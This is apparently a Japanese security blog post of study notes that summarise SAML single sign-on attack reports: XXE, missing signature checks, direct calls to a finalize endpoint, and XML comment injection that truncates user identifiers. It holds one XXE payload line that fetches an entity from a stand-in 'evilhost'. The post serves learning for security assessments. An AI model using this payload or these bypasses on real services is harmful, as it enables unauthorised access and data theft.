ぶるーたるごぶりん

UI, UX, セキュリティとか😘

SSO(SAML)の実装と攻撃例

はじめに

SAML関連で診断をすることになったが、やんわりとした知識しかないため、 SAMLの攻撃事例を読んでそれをざっくりまとめる。

認証フローなどはネットに軽い奴がまとまっているのでそれらを参考に読むと良いのかも?

※2018/11/22 事例を1つ追加 ( XMLのコメントアウトを利用した認証バイパス の章)

思いつく攻撃

  • XMLをアップロードするのでそこでXML外部エンティティ参照とかがあるのかも?
  • あとはアプリケーション自体がXMLファイルからidP(Identity provider、所謂認証サーバ?)へ認証リクエストを送るから そこを利用してSSRFなどのイントラネットへのリクエストが送れるかも?

上記2つはどちらかというと認証に対する攻撃とは別なので、認証部分の攻撃については 後述する事例で見ていく。

事例とざっくりまとめ

SAML + HackerOne とかでググって引っかかった奴をすごくざっくりまとめる。 英語力は低いので読み間違いしてる可能性があるので参考程度に。

SAML経由のXXE

hackerone.com

この報告ではSAMLで利用されるXMLを利用して XXL(XMLの外部エンティティ参照)の攻撃を行なっている。 予想した通り事例としてあった。 この報告ではPOSTのBody部分に以下の処理を行なったパラメータを送っている。 Raw XML => Base64 Encode => URL Encode

この処理部分では通常のSAMLで利用されるXML<!DOCTYPE foo [ <!ENTITY % asd SYSTEM "http://evilhost"> %asd;]> と言った外部エンティティを参照するペイロードが仕込まれている。

SAMLの署名検証の不備による認証バイパス

Uber Bug Bounty: Gaining Access To An Internal Chat&nbsp;Systemmishresec.wordpress.com

この報告ではSAMLの実装で署名の検証が行われているかをまずチェックしている。 つまり、署名のないXMLを送信するという検証方法。

本来であればここでSAML発行者の確認のため「署名が含まれていないためSAMLアサーションが無効」となることが期待される。 ただ、この例では302の応答をしており、結果バイパスが可能であったという例

SSO の認証認可のバイパス

hackerone.com

/accounts/$account_id/sso/saml/finalize という、SSOの認証フローの最後に呼ばれる処理(アプリへのアクセス許可を出す部分)に対して SAML形式のカスタムPOSTを直接送ることで認証がバイパスできるという問題。 つまり、一連の認証認可フローをすっ飛ばしで最後の認証トークン払い出し部分を直接POSTしにいく感じ。

この問題はSAMLがX.509 (PKIの規格)を利用したidentity provider で構築されていないことによる問題 (と書いてあったがX.509周りが殆どと言っていいくらいわかっていないため内容をしっかり理解できていない。)

攻撃方法としては base64エンコードしたアカウントIDとユーザメールをペイロードとした pocファイルをPost。

XMLコメントアウトを利用した認証バイパス

※2018/11/22 に追記

Blackhatの資料 https://data.hackinn.com/ppt/BlackHat-USA-2018/us-18-Ludwig-Identity-Theft-Attacks-On-SSO-Systems.pdf

色々なSAML認証用ライブラリに、脆弱性が複数あったという話。 Aユーザ用のSAMLXMLを書き換えることで、Bのユーザでログインできてしまうという問題があった(であってる?)。
SAMLXML言語実装では <!----> といったコメントアウトは許可されているが、それを実装しているライブラリの中には、コメントアウトをtruncate するときの挙動が若干微妙だったりする物があり、そこを突いたという話。

例えば user-hogehoge@fugaa.comuser-hogehoge@fugaa.com<!---->truncated とやると、 コメントアウトから後の部分は無視される実装になっていたりすると言うもの。
これで、他人のXMLを利用してログインができてしまうといった攻撃に繋がる可能性があると言う話。

まとめ

やはり攻撃的にはXXEなどの話がちょくちょくあった。 一方で認証のバイパスなどはあまり知識を持っていなかったため学びが多いかった。

テストをする際は認証フローを順番に試す他に、 単体レベルで試していく・攻撃していくと良いと感じた。 また、認証周りはフローをしっかり理解し、その上で署名などの検証不備などをしっかりと チェックしていく重要性が感じられる。 そのためにも認証自体を仕様レベルである程度でも把握しているとバグバウンティなどでは 効いてきそうに感じた。

間違いなどがあればご指摘いただけると助かります。